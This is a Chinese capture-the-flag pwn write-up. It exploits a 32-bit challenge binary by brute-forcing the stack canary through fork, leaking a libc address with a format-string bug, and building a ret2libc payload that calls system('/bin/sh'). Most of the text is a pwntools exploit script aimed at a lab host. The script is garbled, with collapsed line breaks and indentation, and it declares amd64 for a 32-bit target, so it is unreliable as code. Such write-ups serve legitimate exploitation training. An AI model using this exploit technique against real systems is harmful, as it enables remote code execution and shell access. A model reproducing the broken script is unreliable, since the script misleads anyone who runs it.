程序基本信息

   32位动态链接程序,开启了数据段不可执行以及栈溢出保护

程序漏洞

   在函数中sub_80487fa中有一个格式化字符串漏洞和read函数栈溢出漏洞

整体思路

   首先不用说,肯定得先想办法栈溢出,溢出函数我们已经找到,接下来的问题就是得泄露出canary的值,从而绕过栈溢出保护。我们当然可以通过格式化字符串漏洞泄露canary的值,也另外一种方法就是爆破获得canary的值。程序中有fork函数,通过fork函数打开的子进程因爆破失败结束了也不会影响父进程,借此我们可以不断调用子进程来爆破canary的值。获得canary的值后,因题目给了libc,我们只要随便泄露出库函数的地址,借此计算system与/bin/sh的地址,再通过rop技术,即可pwn掉程序。

exp脚本

#!/usr/bin/python
#coding:utf-8 from pwn import * context.update(os = 'linux', arch = 'amd64') io = remote('172.17.0.3', 10001) canary = '\x00' #canary最低字节必为\x00
for i in xrange(3):
for j in xrange(256):
io.sendline('Y')
io.recv()
io.sendline('%5$p') #泄露栈上的libc地址
io.recvuntil('game ')
leak_libc_addr = int(io.recv(10), 16) io.recv()
payload = 'A'*16 #构造payload爆破canary
payload += canary
payload += chr(j) #逐字节爆破canary
io.send(payload)
io.recv()
if ("" != io.recv(timeout = 0.1)): #如果canary的字节位爆破正确,应该输出两个"[*] Do you love me?",因此通过第二个recv的结果判断是否成功
canary += chr(j) #将正确字节拼接上
log.info('At round %d find canary byte %#x' %(i, j))
break log.info('Canary is %#x' %(u32(canary)))
system_addr = leak_libc_addr - 0x1b6e00 + 0x3b060 #0x1b6e00和0x3b060分别为IO_2_1_stdin_距离libc头部偏移
binsh_addr = leak_libc_addr - 0x1b6e00 + 0x15fa0f #/bin/sh字符串距离libc头部偏移
log.info('System address is at %#x, /bin/sh address is at %#x' %(system_addr, binsh_addr)) payload = '' #构造payload执行system('/bin/sh')
payload += 'A'*16
payload += canary #将canary放在正确的位置
payload += 'B'*12
payload += p32(system_addr)
payload += 'CCCC' #返回地址任填
payload += p32(binsh_addr) io.sendline('Y') #[*] Do you love me?
io.recv()
io.sendline('1') #[*] Input Your name please: 随便一个输入
io.recv()
io.send(payload) #[*] Input Your Id: 漏洞产生点
io.interactive()

发现的问题

   原文中泄露的libc中的地址是_cxa_atexit+25,但是通过我比较发现,不同库同一函数的代码可能是不一样的

我电脑使用的libc的_cxa_atexit

题目给的libc

   所以说我们在计算函数在内存中的偏移时,最好使用函数名或者全局变量(比如说上文使用的IO_2_1_stdin_)

内容参考

Linux pwn入门教程(9)

最新文章

  1. 【Java并发编程实战】-----“J.U.C”:Exchanger
  2. 延迟求值-如何让Lo-Dash再提速x100?
  3. java.lang.Class.forName(String name, boolean initialize, ClassLoader loader)方法
  4. 【并查集】【树】最近公共祖先LCA-Tarjan算法
  5. load()方法---------jQuery动态加载html
  6. 通过PHP扩展phpredis操作redis
  7. Selenium脚本编写环境的搭建/XPath
  8. 使用 sp_executesql
  9. 通过自关联替代开窗函数实现SQL优化
  10. __str__
  11. 库函数 Math
  12. linux 常用命令之一
  13. 打开safari开发者选项
  14. Luogu4363 [九省联考2018]一双木棋chess 【状压DP】【进制转换】
  15. Linux内核基本装载卸载
  16. 隐藏Nginx或Apache以及PHP的版本号的方法
  17. cf1073G Yet Another LCP Problem (SA+权值线段树)
  18. 前面的内容 也是要去掉白名单 和 8.8.8.8这种非问题IP的 高风险 么? (目前我们没有获取客户的中风险、低风险数据,可以处理掉高风险)
  19. 基于R语言的时间序列指数模型
  20. C# 比较两个路径是否指向同一对象

热门文章

  1. js钩子函数实现一个简单动画
  2. HTML标签认识一
  3. 【常用技巧】js开发的一些技巧
  4. 爬虫之 selenium模块
  5. RestFramework之频率组件
  6. Python基础Day5
  7. 他爬取了B站所有番剧信息,发现了这些……
  8. 用python批量插入数据到数据库中
  9. 最近都会来学一点Python
  10. C#开发Office程序